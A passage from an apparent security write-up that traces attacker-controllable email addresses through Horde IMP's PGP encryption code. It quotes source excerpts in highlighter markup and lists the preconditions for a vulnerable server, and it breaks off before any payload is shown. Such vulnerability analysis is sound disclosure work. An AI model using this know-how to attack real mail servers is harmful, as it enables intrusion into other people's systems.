data-line=\"crayon-58eab3b372766045048910-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-13\">13<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-14\">14<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-15\">15<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-16\">16<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-17\">17<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-18\">18<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-19\">19<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-20\">20<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-21\">21<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-22\">22<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-23\">23<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-24\">24<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-25\">25<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-26\">26<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-27\">27<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b372766045048910-28\">28<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b372766045048910-29\">29<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-1\"><span class=\"crayon-c\">\/* 1446 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_createMimeMessage<\/span><span class=\"crayon-sy\">(<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-2\"><span class=\"crayon-c\">\/* 1447 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Horde_Mail_Rfc822<\/span><span class=\"crayon-sy\">_<\/span>List<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">body<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-3\"><span class=\"crayon-c\">\/* 1448 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-4\"><span class=\"crayon-c\">\/* 1449 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-5\"><span class=\"crayon-c\">\/* 1450 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">global<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">registry<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-6\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-7\"><span class=\"crayon-c\">\/* 1691 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Set up the base message now. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-8\"><span class=\"crayon-c\">\/* 1692 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">encrypt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;encrypt&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-9\"><span class=\"crayon-c\">\/* 1693 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ENCRYPT_NONE<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-10\"><span class=\"crayon-c\">\/* 1694 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;encrypt&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-11\"><span class=\"crayon-c\">\/* 1695 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">prefs<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getValue<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;use_pgp&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-12\"><span class=\"crayon-c\">\/* 1696 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">!<\/span><span class=\"crayon-e\">empty<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">conf<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;gnupg&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;path&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&amp;&amp;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-13\"><span class=\"crayon-c\">\/* 1697 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">in_array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">encrypt<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">array<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ENCRYPT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIGN<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SIGNENC<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-14\"><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SYM_ENCRYPT<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SYM_SIGNENC<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-15\"><span class=\"crayon-c\">\/* 1698 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_pgp<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">injector<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">getInstance<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-s\">&#8216;IMP_Crypt_Pgp&#8217;<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-16\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-17\"><span class=\"crayon-c\">\/* 1727 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-c\">\/* Do the encryption\/signing requested. *\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-18\"><span class=\"crayon-c\">\/* 1728 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">try<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-19\"><span class=\"crayon-c\">\/* 1729 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">switch<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">encrypt<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-20\"><span class=\"crayon-c\">\/* &#8230; *\/<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-21\"><span class=\"crayon-c\">\/* 1735 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">ENCRYPT<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-22\"><span class=\"crayon-c\">\/* 1736 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">case<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SYM_ENCRYPT<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-23\"><span class=\"crayon-c\">\/* 1737 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">to_list<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-r\">clone<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-24\"><span class=\"crayon-c\">\/* 1738 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">if<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-e\">count<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;from&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-25\"><span class=\"crayon-c\">\/* 1739 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">to_list<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">add<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">options<\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-s\">&#8216;from&#8217;<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-26\"><span class=\"crayon-c\">\/* 1740 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-27\"><span class=\"crayon-c\">\/* 1741 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">base<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">imp_pgp<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">IMPencryptMIMEPart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">base<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">to_list<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">encrypt<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">==<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">IMP_Crypt_Pgp<\/span><span class=\"crayon-o\">::<\/span><span class=\"crayon-v\">SYM_ENCRYPT<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">?<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b372766045048910-28\"><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">symmetric_passphrase<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b372766045048910-29\"><span class=\"crayon-c\">\/* 1742 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">break<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0042 seconds] -->  <\/p>\n<p>Here we can see validation (1695-1696 lines) that:<\/p>\n<ul>\n<li>Current user has enabled \u201cuse_pgp\u201d feature in his preferences (it is not a problem as an attacker can edit his own preferences)<\/li>\n<li><em>$conf[&#8216;gnupg&#8217;][&#8216;path&#8217;]<\/em> is not empty. This value can be edited only by admin. So if we don\u2019t have value here our server is not vulnerable. But if admin wants to allow users to use GPG feature he\/she needs to define value for this config.<\/li>\n<\/ul>\n<p>Also we can see that in lines 1737-1739 to our recipient list will be added address \u201c<em>from<\/em>\u201d as well.<\/p>\n<p>Path: <em>\/imp\/lib\/Crypt\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37276a915238831\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 584 *\/ public function impEncryptMimePart($mime_part,  \/* 585 *\/ Horde_Mail_Rfc822_List $addresses,  \/* 586 *\/ $symmetric = null)  \/* 587 *\/ {  \/* 588 *\/ return $this-&gt;encryptMimePart($mime_part, $this-&gt;_encryptParameters($addresses, $symmetric));  \/* 589 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276a915238831-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276a915238831-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276a915238831-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276a915238831-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276a915238831-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276a915238831-6\">6<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276a915238831-1\"><span class=\"crayon-c\">\/* 584 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">public<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">impEncryptMimePart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mime_part<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276a915238831-2\"><span class=\"crayon-c\">\/* 585 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">Horde_Mail_Rfc822<\/span><span class=\"crayon-sy\">_<\/span>List<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">addresses<\/span><span class=\"crayon-sy\">,<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276a915238831-3\"><span class=\"crayon-c\">\/* 586 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">symmetric<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276a915238831-4\"><span class=\"crayon-c\">\/* 587 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">{<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276a915238831-5\"><span class=\"crayon-c\">\/* 588 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-st\">return<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">encryptMimePart<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">mime_part<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-r\">this<\/span><span class=\"crayon-o\">-&gt;<\/span><span class=\"crayon-e\">_encryptParameters<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">addresses<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-v\">symmetric<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-sy\">;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-58eab3b37276a915238831-6\"><span class=\"crayon-c\">\/* 589 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">}<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0010 seconds] -->  <\/p>\n<p>Before <em>encryptMimePart()<\/em> call Horde uses <em>_encryptParameters()<\/em><\/p>\n<p>Path: <em>\/imp\/lib\/Crypt\/Pgp.php<\/em><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-58eab3b37276c127677309\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/* 536 *\/ protected function _encryptParameters(Horde_Mail_Rfc822_List $addresses,  \/* 537 *\/ $symmetric)  \/* 538 *\/ {  \/* &#8230; *\/  \/* 546 *\/ $addr_list = array();  \/* 548 *\/ foreach ($addresses as $val) {  \/* 549 *\/ \/* Get the public key for the address. *\/  \/* 550 *\/ $bare_addr = $val-&gt;bare_address;  \/* 551 *\/ $addr_list[$bare_addr] = $this-&gt;getPublicKey($bare_addr);  \/* 552 *\/ }  \/* 554 *\/ return array(&#8216;recips&#8217; =&gt; $addr_list);  \/* 555 *\/ }<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-58eab3b37276c127677309-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-58eab3b37276c127677309-12\">12<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-58eab3b37276c127677309-1\"><span class=\"crayon-c\">\/* 536 *\/<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-m\">protected<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-t\">function<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">_encryptParameters<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">Horde_Mail_Rfc822<\/span><span class=\"crayon-sy\">_<\/span>List<span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">$<\/span><span 